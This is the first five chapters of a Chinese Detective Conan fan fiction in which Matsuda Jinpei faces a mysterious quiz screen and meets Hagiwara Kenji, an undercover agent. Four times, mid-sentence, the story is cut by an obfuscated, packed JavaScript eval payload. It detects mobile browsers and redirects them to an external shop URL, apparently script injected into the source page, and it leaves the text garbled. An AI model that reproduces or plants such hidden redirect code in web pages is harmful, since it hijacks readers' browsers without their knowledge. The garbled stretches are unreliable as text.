《当松田交换幼驯染后》 1. 第 1 章 阳光偷偷绕过窗帘的阻扰洒在松田阵平的眼皮时,他的第一个闹钟刚好响起。 空气中弥漫着一股十分鲜香的味道,松田阵平仅凭本能就猜出那是味噌汤的味道,可能还有他的新宠黑松露茶碗蒸。 拥有一头黑色卷发的新任警官怀抱着对美食的期待满满睁开眼,却在看清眼前的半透明屏幕时心情一下子回落,他下意识闭上了眼睛,再次睁开时屏幕仍倔强地伫立在他眼前,并且非常顽固地随着他视线移动,以确保自己正正位于松田阵平视线的正中央。 看来睡觉或者时间变换到第二天并不能解决这个看起来一点也不符合唯物主义的屏幕,它也无法被触碰到,松田阵平想把它大卸八块来好好研究一下都做不到,只能认命地正视这块莫名其妙的屏幕,和上面更莫名其妙的文字。 “你的幼驯染是:A.诸伏景光 B.萩原研二” 在简单的问题和选项下方,还有一行注释:“请谨慎思考后选择,选择结果将影响大礼包的发放。” 先不论看起来就很像诈骗的所谓大礼包,这问题本身还需要思考吗,答案肯定是—— “阵平,冰箱里的青花鱼没有了,今天早餐换成玉子烧可以吗?下班后我们再一起去超市采购点食物。” 温和的声音恰好此刻从门口处传来,有着一双上翘猫眼的俊秀青年礼貌性敲了敲门,没得到回应后相当熟稔地打开门走进来。 他有些惊讶地看着坐在床沿仿佛在发呆的卷发青年,往常这个点对方要不就是在洗漱要不就是在小小地赖床,这样呆坐着还是第一次见。 松田阵平的视线从屏幕上的“诸伏景光”移动到诸伏景光本人脸上:“景光,你知道我的幼驯染是谁吗?” 诸伏景光眨了眨眼,半开玩笑地上前抚上松田阵平的额头:“你不舒服吗?要不你今天先休息一下吧,我等下帮你和长官请假,还是说需要我陪你去医院吗?” 松田阵平眼睁睁看着诸伏景光修长的手指穿过那块屏幕:“……” 他张了张嘴巴,想说我脑子没事,有事的是这块看起来可疑又智障的屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195244|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不知道是哪个脑子有坑的搞出来的,但却一个字也说不出口。他的脸色无法控制地沉了下来。 松田阵平万万没想到,这个屏幕,或者说屏幕背后的势力,竟然能不科学到阻止他说出有关于它存在的话语。他又低下头,迅速在自己手机上打出了相同的话语,然后又眼睁睁看着那些字刚打出来便消失了。 诸伏景光看着他嘴巴一张一合却说不出话,灵活的手指在手机上噼里啪啦一顿操作最后却打了又删删了又打,这下是真的有点担心了。他当着松田阵平的面打开手机,翻到通讯录里长官的号码,准备打过去请假,又被松田阵平拦下了。 “阵平?” “……不用请假,我只是想确认一些事。玉子烧也可以,景光你再不回去厨房的话味噌汤就要烧干了。” 看着诸伏景光急匆匆赶回去拯救早餐的背影,松田阵平低垂了目光,看着瞬移到他膝盖上方的屏幕思考。 他的幼驯染除了诸伏景光,还能有谁? 而且——萩原研二,又是谁? 2. 第 2 章 萩原研二,hagi……不知为何,仅仅是把这个名字在舌尖上轻轻地滚过一遍,就有一种莫名的感觉涌上心头,复杂到甚至连松田阵平本人都分析不出是什么感觉。 好像这个人对他来说真的很重要。 但松田阵平又能很确定,诸伏景光确确实实陪伴他走过了十几年光阴。 当年他父亲松田丈太郎被警察误抓,如同苍蝇般闻声而至的无良媒体几乎把杀人犯的帽子牢牢扣在松田丈太郎的头上。而小孩子的恶意总是天真残忍又直接,他们还没有形成固定的善恶观,听到邻里间的闲话、家长或隐晦或直白的“少跟那孩子来往”,就能当着小松田的面喊他“杀人犯的儿子”。 松田阵平表示敢来一个就敢打一个,职业拳击手的儿子绝不会是孬种。但双手难敌四拳,恶虎还怕群狼,在一次次的车轮战后,松田阵平也难免体力不支,伤痕累累地倒在草地上。 他看着自己胖胖的小手臂上因为摔倒而显得特别触目惊心的擦伤,难免有些担心等下被邻居家阿姨看到。松田丈太郎被拘留,他一个才7岁的小孩也还没学会独立生活,那些亲戚生怕沾染上什么脏东西一般躲避还来不及,更没人想多一个拖油瓶,只能翻出家里的零钱省着点买些面包果腹,有个邻居家阿姨看不得小孩过得那么惨,会偶尔把自家多做的饭菜分一些给他,只是看到他身上的伤口时总忍不住多说两句。 松田阵平虽然是个脾气暴躁的小孩,但他能分得清善意的责怪和夹带着恶意的所谓关心,自然不愿辜负那份善心,在身上有明显伤口的时候都会特意绕开阿姨平时下班的时间。 而现在差不多是阿姨准备下班的时间,松田阵平就想在这里先待一会儿再回去。打架打到筋疲力尽的他往后躺下,正想好好感受一下难得的宁静时,觉得自己后背压到了什么软软的东西,与此同时一声很轻很轻的闷哼传来,那声音轻到要不是这么近,他绝对捕捉不到一星半点。 他赶紧转头望去,发现是一个看起来跟他差不多大小的男孩,因为整个人蜷缩成一小团,公园角落的野草都比他高,所以松田阵平和之前的那些孩子都没发现他的存在。 面对一群同龄人拳头时都不露怯的松田阵平这下被吓到了,他连忙过去扶起那小孩:“喂,你没事吧?我、我有没有压伤你?” 那个孩子被扶起来后,整个脑袋仍旧埋在臂弯里不肯抬头,也不出声,只是小幅度摇了摇头,想表明自己没事。可是松田阵平并没有真的就此放下心来,因为他发现对方臂弯处的衣服有水迹。 这是在哭吗? 松田阵平稍微用了点力气,男孩可能因为哭得手脚疲软了稍微挣扎了一下没挣扎过他就被抬起了头。 果然在哭。 松田阵平在看清对方的长相之后愣了一下,倒是明白他为什么哭了。那是隔壁班的一个男生,好像前不久刚失去了父母,且不知为何说不了话,因而没少被嘲讽,但是因为看起来柔弱的性格不爱打架,身上反而没太多伤口。 他这样一时心急把人硬生生拉起来,现在后知后觉感到不好意思了,又不习惯道歉,只能摸摸鼻子眼神飘忽:“我是松田阵平,你叫什么名字呀?我送你回家吧。” 反正现在他也很有空,要是还有来骂对方的他就帮忙打回去。 男孩似乎很久很久没接收到来自同龄人的善意了,有些呆呆地看着松田阵平,也忘记了哭。 这时松田阵平才发现对方有一双非常特别的漂亮眼睛,带着水光的蓝眸像雨后的晴空,上翘的眼尾和属于幼童圆滚滚的眼睛轮廓让人能联想到猫咪幼崽的眼睛。 在漫长的沉默后,松田阵平才想起来这个男孩说不了话,感觉自己错上加错,一张可爱的小脸涨得通红。 男孩眨了眨眼,之前蓄在眼眶里的水珠啪地一下砸下来,脸上倒是难得地露出笑容了,他松开了环住膝盖的双手,转身从书包里掏出一个本子,指了指封面上的名字。 诸伏景光。 松田阵平微妙地觉得自己好像被笑了——不带恶意的那种,但是看着对方脸上的泪痕和笑得弯起来后更好看的眼睛,还是决定大方地不计较了。 “那么,诸伏”,松田阵平握住对方的手再次强调,“我送你回家吧。” 诸伏景光低下头想了想,最后还是摇了摇头拒绝了,他在本子上写了长长一段话,大意是如果他送自己回家的话那应该邀请他一起吃晚饭,但是他现在寄宿在远房一个叔叔家,不好麻烦叔叔再准备多一个人的饭菜。 松田阵平也没再说什么,倒不如说以他的性格,对于初次说话的人态度这么友好已经很罕见了,于是卷发小孩带着满身伤痕独自回家了。 后来的发展也很显而易见。 有些事情一旦留心,就再也无法放任不管。松田阵平对于这个和自己有着类似遭遇的同龄人抱有下意识的好感,而对方显然也是。 于是他们开始越走越近,松田阵平说打一拨也是打,打两拨也是打,胆敢来恶意嘲笑诸伏景光没有父母的同样会被他施以铁拳,诸伏景光想帮忙的时候还会被他拦下来。 猫眼小孩无法,只能偷偷从自己本就不多的零花钱里再省下点买材料给松田阵平包扎。 后来他发现松田阵平连晚饭都是自行解决的,就自告奋勇说他可以先去松田家帮忙做饭再回自己叔叔家,松田阵平想了想总比自己天天啃面包好,就答应了。 年仅7岁的诸伏景光自然是没有以后堪称星级大厨、莱伊吃了都夸好的厨艺,但竟然也能做出几道普通的家常菜了——如果忽略掉在切菜时差点不小心切到手、倒汤时差点烫伤的危险时刻的话,做菜天赋着实可怕。 再后来,警视厅终于发现抓错人了,松田丈太郎得以被无罪释放,但大受打击、前途无望的职业拳击手开始酗酒,松田阵平依旧无人照顾,曾经把父亲视为偶像的孩童不可避免地对父亲感到失望。 心思细腻的诸伏景光抱了抱自己唯一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195245|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好友,他下定决心,要和松田阵平一起去拳击馆,跟松田丈太郎的拳击手朋友们学习拳击,他再也不想当那个只能被别人保护的弱小角色了。 由于诸伏景光的战力在逐日增加,欺负他们的孩子越来越少能从他们手上占到便宜,他们终于慢慢能过上平静的生活。 有了好友陪伴的诸伏景光也在两年后摆脱了失语症,开口的第一句话就是:“阵平。” 从小学、国中、高中到大学,诸伏景光和松田阵平从未分开过,并且由于各自的家庭原因,都对当警察有很强烈的执着,便也一起进入了警校。 在警校期间,两人与班长伊达航成为好友,诸伏景光在松田阵平和伊达航强势不容拒绝的帮助下抓住了当年杀害他父母的凶手,了解了他多年的心结。 在那天晚上,一丝乌云也没有的夜空中洒下亮得足以能和路灯抢工作的月光,他们一人抓着一罐啤酒坐在宿舍的天台上,在初秋的夜风里聊他们的过去,聊他们对于未来的想法。 松田阵平说我喜欢拆东西,而且也收到了爆处组的邀请,那么就以和炸弹打交道为生吧。 伊达航说我是个循规蹈矩的人,想去搜查一课。 诸伏景光沉默了很久说我大概和班长一样吧,虽然不知道为什么我总觉得我应该走上另外一条路。 但他被剩下两人追问应该是什么路的时候又说不出来了,只是笑着摇摇头说我不知道,现在也没什么不好的。 穿着警校生制服的猫眼青年眼里常年带着温和的笑意,面对着自己的好友时尤甚——当然也可能会带上那么一些狡黠:“不过我还以为阵平会让我陪你一起进爆处组呢,毕竟以前也经常拉我陪你一起拆炸弹模型。” 翘着二郎腿、枕着手臂躺在天台边缘看星星的松田阵平从鼻子里不轻不重地哼了一声:“我是那种会强迫别人做不喜欢的事情的人吗?虽然诸伏在这方面上手也很快,但只是陪我,并不是真的喜欢吧。” “只是陪你?”伊达航拍了拍松田阵平的肩膀,“幼驯染关系真好啊,你看我就没能得到松田老师的拆弹一对一特训课程。” 松田阵平半月眼,诸伏景光笑眯眯回答:“毕竟我们一起长大,班长想要一起参与的话下次也叫上你。” “不了不了,我怕被松田老师公报私仇。” “喂喂!” 往事在脑海里翻涌着掠过,松田阵平神色不变地看着自己的手再次从屏幕上穿过。 他开始尝试其他方法,譬如集中注意力去想着操控屏幕上的光标。 然后成功了。 就在他准备点下“诸伏景光”的选项时,出现了一个弹窗,把两个选项挡住了。 “距离该题答题时间正式开始还有30天,请答题者从每天一题开始练习,答对均有奖励哦~” 松田阵平盯着最后的那个波浪号,默默咬紧了后槽牙。 等他知道这是谁搞的骚操作,一定要狠狠揍对方一顿! 3. 第 3 章 “和波本一起拿到四园集团掌权人女儿这个月的行程。——Rum” 手机震动了一下,坐在副驾驶上的半长发青年不情不愿地打开然后看到了这么一条信息。 他哀嚎着虚虚趴在正在开车的金发深肤青年身上:“小波本,我们又有活干了!可恶啊我们刚熬了两个通宵现在才下班啊!” 坐在后座的黑色长发青年正低头用纸巾细细擦掉狙击枪架在废弃大楼时沾上的灰尘,闻言不轻不重地呵了一下以表达自己对两位同事要继续加班的幸灾乐祸。 金发青年,也就是代号为波本、真实身份为日本公安派到组织里的卧底降谷零,看不得代号为莱伊的长发青年那“阴阳怪气”的态度,决定用更为阴阳怪气的语气回敬:“没事,田纳西,我们是有实力才会被派任务,不像有些人,和其他狙击手私底下比赛的时候回回拿第一、实力被吹上天,等真正做任务的时候却错漏百出,真是担不起重任呐~” 做任务“错漏百出”的莱伊:“……没能把任务目标引去最佳狙击位置的明明是你吧,波本。” 故意没把任务目标引去最佳狙击位置是为了给公安留出救人空间的降谷零理不直但气很壮:“谁能想到他还藏了一手呢?更何况只是差了半个花瓶的位置,不要告诉我大名鼎鼎的莱伊每次都要在最佳狙击点才能完成任务吧?” “好了好了,小莱伊,小波本,都是任务目标的错,谁让他不好好配合呢?”仿佛丝毫不觉得自己嘴里吐露出的话语有多么可怕,半长发青年继续用着他独有的甜腻的轻快男声熟练地充当调解员,“不如我们三个今晚一起去新开的空中花园餐厅吃晚饭吧,我想想,那家餐厅好像就是四园集团旗下的吧?” 莱伊抬头看了一眼后视镜里那双眼尾下垂、含着甜蜜笑意的紫罗兰眼眸,十动然拒:“不要想着我给你们无偿加班,田纳西。老地方放下我就可以了。” 降谷零一个漂移把莱伊甩在了巷子口:“放心,我看着你这张脸吃饭也会消化不良的。走好。” 两人看着莱伊的黑色身影消失在视线后,谨慎地排查了一遍车上,没发现多了什么不该出现的监视监听仪器之后才小小地松了口气,降谷零有些不解:“萩原,你为什么会邀请那家伙?难得这次任务是纯粹情报组的,不需要他一个行动组的,如果他真过来我们要传递信息也很不方便。” 黑色半长发青年,22岁,代号田纳西,真名为萩原研二,和幼驯染降谷零同属公安但分属不同组别,因为一些公安的内部不和没有互通消息导致乌龙地和好友被派往同一个跨国犯罪组织进行卧底。他此时正因为熬夜被清晨的阳光刺得眼睛有些不舒服,即使如此当听到降谷零的疑问时也习惯性地朝对方眨眨眼:“小莱伊是那个多疑的小琴酒的下属,如果他答应我的邀请,不说我们会怎么想他,首先小琴酒第一个就不会放过他。” 就算降谷零和萩原研二从小一起长大,此时还是不禁边挪开视线边在心里默默感叹,这人使用honey trap就好像吃饭喝水一样自然,当真是天生情报员的料。他忽然被勾起了奇怪的胜负欲,勤能补拙,从小学习就一直是No.1的金发青年表示这方面也不能输给好友! 萩原研二好笑地看着仿佛身后莫名开始燃起来的降谷零,不知道自己又是哪句话勾起了他的好胜心,但他没打算细究,因为此时此刻他只想回去休息:“小降谷,我希望我们此时是在回安全屋的路上,而不是在回去公安看资料的路上。” 虽然萩原研二看起来一切如常,甚至此时此刻还能眉眼弯弯地和降谷零开玩笑,但他毕竟只有22岁,从一个偶尔喝喝酒抽抽烟经常飙飙车的三好公民,到假扮十恶不赦的犯罪组织代号成员,也才短短两年时间。他已经习惯了生命在自己面前消逝,甚至手上也不知道曾被染红多少回,却从未有一刻忘记自己的使命,这代表着每次出任务多少都会有负罪感,这是不可避免的,负罪感带来的心理上的疲惫感更甚于生理上的。不过,至少在现在—— 研二酱已经连续37个小时没合眼了! 他有些哀怨地摸摸自己的眼窝,很担心出现不美观的黑眼圈或者出现更可怕的皱纹:“小降谷,你要知道我们现在都是靠脸吃饭的人了,虽然我最近是有在跟小贝尔摩德学习易容啦,但是也不是每次出任务前都有足够的时间去准备嘛。” 确实准备拐去公安看资料的降谷零:“……”他是转呢,还是不转呢? 萩原研二看好友动摇了,决定从另一方面再加把火,他凑近仔细看了看降谷零的脸:“小降谷就好啦,感觉是那种不会变老的娃娃脸哎,至于黑眼圈……等等,小降谷你不会是仗着自己肤色深看不出黑眼圈所以才这么玩命熬夜的吧?” 降谷·卷王·在熬夜方面也勇当第一名·零忍不住狠狠地捏了一下手中的方向盘:“现、在、就、回、去、休、息!” 终于达成自己目标的萩原研二心情愉快地哼着小调,惬意地靠在车窗上看着窗外的风景。忽然,他看到前面一家熟悉的模型店外挂了上新的牌子,就让降谷零先停一下:“小山田前两天跟我说店里上了新品,我一直没空去,现在刚好路过,我进去看看~”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195246|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着好友无语地露出半月眼,又笑眯眯地补充,“隔壁那家面包店有很特别的西芹三明治,等下我给小降谷带一份!” 成功给金发青年顺毛后,萩原研二在“欢迎光临”的声音里踏进了模型店。这家模型店是组织的产业和情报点,刚刚他提到的“小山田”是这家店的店主,一位组织里的外围成员,胆子不大但是经商能力还不错,对于萩原研二这样的代号成员自然是捧着的,看到他立马就腆着笑脸迎上来了:“您来啦!这次新品可受欢迎啦,上新两天就卖光了,昨晚紧急叫了调货,但是现在还没送来。不过我已经把新品都留了一份给您,您直接带回去就好了!” 萩原研二看着山田手上的两个规模不小的模型,都是他喜欢的车模型,便也没推脱:“那就谢谢小山田啦~账直接记我名下就好了,不要急着拒绝,我记得你弟弟最近挺需要钱的吧?” 山田治哈哈了两声不说话了,他其实对田纳西感官挺复杂的,他一个快四十岁的中年男人被喊山田酱怎么听都很奇怪,而且田纳西总是一脸亲和地用着最甜腻的语调说出最令人冷汗直流的话,但田纳西从来没真正为难过他,在外围成员里风评也比同期的波本和莱伊要好得多。因此山田治也有心卖好,在某次任务里知道田纳西喜欢模型后,但凡店里有上新或者比较稀有的模型都会先给他留一份。田纳西也没有完全把他的这份讨好当做理所当然,上个月组织批准了他扩大门店的经费,据说这件事背后就有田纳西的影子。 就在萩原研二打算抱着模型离开的时候,有个清亮的男声从身后传来:“老板,这次的上新能给我看看吗?” 萩原研二搭在模型盒上的手指下意识蜷缩了一下,心脏的律动也莫名变得不那么规律,他缓缓地转身过去,看到一名站在门口的青年。 青年背对着站在清晨的光里,柔和的光线照亮了他蓬松柔软的头发,勾勒出他堪称模特的身材线条。 卷毛青年有一张标准意义上的池面脸,帅得让每一个初次见到他的人都忍不住在他那张脸上停留几秒。他散漫地站着,在秋天微凉的早晨里穿着黑色的外套和白色的衬衫,外套的口袋里露出墨镜的一角,这本应是庄重严肃的搭配,但偏偏衬衫最上方敞开着两颗扣子,透露出本人的桀骜不驯。他修长的手指上有着明显的茧子,应该是长期从事某种精细活动,手指灵活度很高。 萩原研二一边凭着本能分析眼前人,一边控制不住地心脏狂跳,心跳声一声大过一声,大到萩原研二怀疑连卷发青年也能听到。 糟、糟了,研二酱好像对这个人一见钟情了。 4. 第 4 章 糟、糟了,研二酱好像对这个人一见钟情了。 萩原研二用尽全身力气才控制住自己没把脸埋进怀里的模型盒里,但藏在半长发里的耳朵却还是悄悄地红了。 在他心绪澎湃的时候,其实站在他对面的松田阵平内心也并不平静。 这又要回到早上开始说起了。 松田阵平看着屏幕上的“距离该题答题时间正式开始还有30天,请答题者从每天一题开始练习,答对均有奖励哦~”,只能根据提示点了弹窗里的“每日一题(10月7日)”。 果然跳出了一个新的问题:“Khaho最近一次上新的模型是什么类型?A.跑车 B.飞机” 这次屏幕终于人性化地给出了缩小屏幕的操作按钮,但是事情发展到了现在,松田阵平也不再抱着一开始“这玩意好可疑啊能忽视就忽视吧”的心态,而是想着一定要看看这个屏幕或者说背后的势力想搞什么。 况且这个题目下面还有行虽然小却不容忽视的倒计时,要求松田阵平必须在两个小时内完成。 根据这个题目来看,Khaho大概率是一家模型店,但是松田阵平从来没去过,那么应该并不在附近。他上网查了一下,这家店没有官网也没有留下联系方式,只能搜到其他模型爱好者的发帖,并从中推出这家店的大概位置,果然在另外一个片区,来回有些距离。距离加上倒计时让松田阵平无法在下班之后再解决这个问题,只能选择请假。 于是在吃完诸伏景光准备的美味早餐后,松田阵平让诸伏景光先去上班,他和长官告了半天的假,下午再去警视厅。松田阵平虽然脾气糟糕,但是由于才能实在过于耀眼,刚毕业没多久就靠着无人能媲美的拆弹技术当上了队长,再加上几乎全勤的超高出勤率,除非遇到紧急重大事件,他要请假还是很容易的。 在好友担忧的目光里,不羁的卷毛警官只是摆了摆手留下一句:“我只是想偶尔休息一下,刚好有家模型店上新了我去逛逛。” 站在店门口的时候,松田阵平仔仔细细观察了一圈,没看出来有什么超现实的元素,倒是踏进店后有些被这家店的规模给震撼到了,以他对普通模型店的了解来说,这家被称为模型店有些受委屈了,松田阵平觉得叫“模型仓”可能更贴切点。 可能由于时间尚早,没什么人会一大早来逛模型店,偌大的店里除了松田阵平只站了两个人,一个是穿着标了店名制服的中年男子,还有一个男性抱着两盒模型背对着他。 松田阵平本人的身高已经远超了国内男性平均身高,可眼前的男性竟然比他还高了小半个头,这让他下意识看多了几眼。但他还牢记着来这里的目的,便开门见山问明显是店长或者至少是店员的中年男人:“老板,这次的上新能给我看看吗?” 山田治露出一个抱歉的笑容:“对不起啊这位先生,店里的新品刚好卖完了,不过这里有宣传单,您可以了解一下,如果想要的话留个联系方式吧,到货之后我通知您。” 但他的这番话只有前半截被松田阵平听进去了,后半截因为两个人看清了对方的脸而被忽略了个彻底。 松田阵平不知道怎么形容自己看到那个青年转身后的心情。 他,一名活了22年的爆处组警察,头一次觉得自己有在犯罪边缘大鹏展翅的冲动。 清明的头脑告诉自己明明没见过这个人,可垂在身侧的两只手臂却好像不受控制,想冲上去给对方狠狠一拳或者是一个紧紧的拥抱。 更可能是狠狠一拳后再给一个紧紧的拥抱,然后再掏出怀里的手铐把对方拷起来。 但是忍住啊松田阵平无论是寻衅滋事还是非法囚禁都不是你应该做的!卷发警官下意识摸了摸口袋里的警察手册。 山田治看着莫名其妙呈现对峙状态的两个人,感觉额角冷汗都出来了,新进来那个男人看起来凶巴巴的还浑身紧绷,田纳西也一直沉默着没出声,这两人不会是仇人吧?他现在是不是该去逃难比较好? 好在萩原研二终于勉强找回了自己差点离家出走的双商,他脸上重新出现了甜甜的笑容——虽然评价一个一米九的成年男性的笑容甜听起来十分离谱,但每一个见过萩原研二的人都不会去反驳这一点。 他向松田阵平走近了一些,恰好处于不让人感到被冒犯的最近距离,同时稍微抬了抬自己怀里抱着的两盒模型:“刚好最后两盒模型被我买走了,这位先生要是愿意的话,我可以先送你一盒,反正短时间内我也做不到同时拼完两盒。我经常来这里,让店长过两天再给我留一盒就好啦~” 萩原研二倒是很想把两盒都送给自己一见钟情的对象,但是一下子送两盒实在是太过目的明显,反而会适得其反。他开始在内心无声地哀嚎,为什么偏偏自己是在此时此刻遇上心上人——在他整整37个小时没睡觉、很可能已经有青黑色眼圈、也还没来得及换上新衣服的现在! 有一只小hagi在萩原研二的内心里崩溃地打滚,而被他看上的松田阵平的理智却随着他的开口而回归。每一寸长相都戳中了萩原研二的青年看了看他手上那明显价格不菲的模型,婉拒了“赠送”的好意:“素不相识,不能收这么价格昂贵的礼物。我买一盒可以吗?”虽然不明白这个人为什么对第一次见面的他这么热情,但松田阵平确实对这个型号的模型很感兴趣,既然对方愿意让出一盒,他不妨出钱买下。 但是有着一双潋滟紫眸的青年却朝着他轻巧地眨了眨眼:“我叫三木贤治,我们现在就不能算素不相识啦~” 松田阵平被逗笑了,他自昨晚看到屏幕开始一直莫名低落的心情从见到这个叫三木贤治的青年后就一直晃悠悠往上涨:“哪有人这样强送东西的。松田阵平。”他这样说,便是打算接下这份好意了。 山田治看到他笑了也松了口气,虽然眼前这一幕看起来怪怪的,但是情报人员嘛,为了情报什么奇怪的行为都有。他害怕自己的存在打扰到代号成员做任务,就借口说自己要去联系厂商然后躲进内室了。 终于没有碍事的人打扰研二酱的二人世界了~ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195247|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萩原研二心情更好地把模型放在一旁,掏出自己的手机:“我们来交换联系方式吧,小阵平!” 小……阵……平…… 就算是从小跟松田阵平一起长大的诸伏景光,如果此时在这里也只能惊叹萩原研二恐怖如斯。松田阵平帅得毫无争议,但他的气场同样也可怕得没有争议,而萩原研二不仅一上来就直呼其名,还胆大包天地加了个甜腻腻的后缀! 来了,又是这种割裂的感觉,松田阵平一方面觉得这个称呼和他本人风格不能说不匹配只能说毫不相关,一方面又觉得从这个人嘴里吐出这个称呼是最合适的。 于是他微妙地看了几眼萩原研二,然后在对方带着紧张的小眼神里掏出手机,交换了联系方式。 萩原研二当然紧张,他从喊出“小阵平”后就开始反思37个小时不睡觉对大脑的损伤。萩原研二有一种独特的、不易被人察觉到的边界感,虽然他平时平等地喊每一个人xx酱,但他之前从来都只喊姓氏而非名字。好啦,他知道自己确实是很喜欢这个看起来凶得可爱的卷毛青年,但是他怎么能不经大脑地一上来就叫小阵平,真的不会被疯狂扣好感度或者被揍一拳吗! 结果都没有。没有得到嫌恶的眼神也没有得到爱的铁拳,研二酱大成功!他有些可惜地想,要不是今晚还要做任务,他们现在必须回去休息,他就可以趁热打铁邀请小阵平一起拼模型了。 不过今天不方便,不代表之后不可以嘛。想到这里,萩原研二的心思又活络起来了:“小阵平,要不我们下次试试一起拼模型吧!研二酱没什么朋友,更没有喜欢一起拼模型的朋友,很寂寞呢。” 他漂亮的下垂眼里带上了一丝落寞和哀求,像一只乖巧的、想和喜欢的人类一起玩耍的萨摩耶,松田阵平甚至有那么一瞬间幻视他背后有一根摇得飞快的毛绒绒白尾巴。 松田阵平若有所思地看着萩原研二,理智上告诉他以这个人的长相和自来熟的性格没什么朋友不太可能。 “好。” 但谁让松田阵平是直觉系呢! 得偿所愿的萩原研二满足地朝松田阵平抛了个wink:“很高兴今天能认识小阵平,但我还有个朋友在外面等我,那就期待下次见面吧,欢迎随时联系我~” 看到松田阵平点头应允后,萩原研二让他挑了一盒模型,自己则把剩下那盒抱走。 于是在降谷零都快趴在方向盘上睡着后,终于等到好友抱着一盒模型和一个西芹三明治回来。 降谷零有气无力:“……已知这家模型店的店主是个奔四的中年男性,那我是不是可以合理怀疑面包店的店员是你喜欢的女生类型。” 萩原研二仍试图在自己视线范围内寻找那一身黑的卷毛青年,闻言有些不满:“小降谷怎么这么想我,我搭讪都是为了任务~任务!不过,我今天终于明白什么叫一见钟情了~他长得真的很好看哎,而且看起来也很喜欢拼模型!” 降谷零不以为意:“我就知道……什么,他?一见钟情??哈???” 5. 第 5 章 “一见钟情??” 萩原研二撇撇嘴:“怎么,小降谷歧视这个吗?” 震惊成大头豆豆眼状态的降谷零愣了两秒,急忙摆手:“不不不……我只是太惊讶了。” 他与萩原研二从小一起长大,对好友的了解自然比旁人要深得多。虽然萩原研二看起来是个轻浮的人,甚至有些人会恶意猜想他是个脚踏多条船的渣男,但其实萩原研二只是很尊重女性,被告白的时候也都有认真拒绝不让对方抱有不必要的期望。嘴上天天喊着xx酱,却从来没表明过对什么人有恋爱方面的好感,更别提一见钟情了。 所以降谷零平时吐槽归吐槽,却都是在开玩笑。 他作为萩原研二的幼驯染,本应对这件事乐见其成然后调侃两句后帮忙出谋划策,但是……他们是公安派出潜伏在大型跨国犯罪集团里的卧底搜查官,无论是从保密角度还是从危险程度来说都不应该发展私人感情。 “萩原……”降谷零欲言又止,他想提醒好友,但是他又清楚对方并不需要他多余的提醒,每时每刻都走在刀尖上的卧底是不可能忘记自己的身份,哪怕是看起来已经被爱情冲昏头脑的萩原研二。 那双和他眸色相似且同样有着下垂眼角的眼睛定定看着洒在模型盒上的阳光,眼底泛着柔软:“我知道的,小降谷。这不是个合适的身份,更不是合适的时候。但我有种很强烈的预感,我不能错过他……我会小心的。” 既然萩原研二都这么说了,降谷零便也只能藏起心里的忧虑。毕竟只要不影响任务、不暴露组织,组织对成员的感情生活并不感兴趣,萩原刚刚没提到对方的身份,那便代表至少目前没看出会影响卧底工作的。他作为好友,如果有什么问题,到时候再帮忙就好了。 那边的卧底二人组在回去休息的路上,这边的松田阵平还要开始首次的每日答题。 他回到和诸伏景光合租的公寓,把模型随手放在自己的工作台上,集中注意力调出了屏幕,果断按下了选项“A.跑车”。这次没有再出现什么奇怪的弹窗,答案成功提交之后出现了“恭喜答对!”的字样,然后松田阵平就感觉自己手里好像出现了什么。 是一把扳手。扳手的尺寸有些迷你,泛黄的塑料部分暴露出它年代久远,但是可以从它依旧闪闪发亮的金属部分来看被使用者保养得很好。松田阵平从内侧发现了一个风车形状的logo,是他小时候很流行的五金品牌,价格还有点小贵,当时他和诸伏景光每次路过的时候都没忍住视线在上面逗留多一会儿,因为又适合孩子的尺寸又符合松田阵平要求的扳手真的不多。但奈何他当时家庭遭受巨变,诸伏景光又寄人篱下,谁也没能掏出闲钱来买这个并非必需品的扳手。 这是什么意思,这个答题系统该不会是想让自己圆童年的梦吧?答对一题圆一次梦? 他又仔仔细细观察了扳手的每一个细节,没能发现更多的信息。 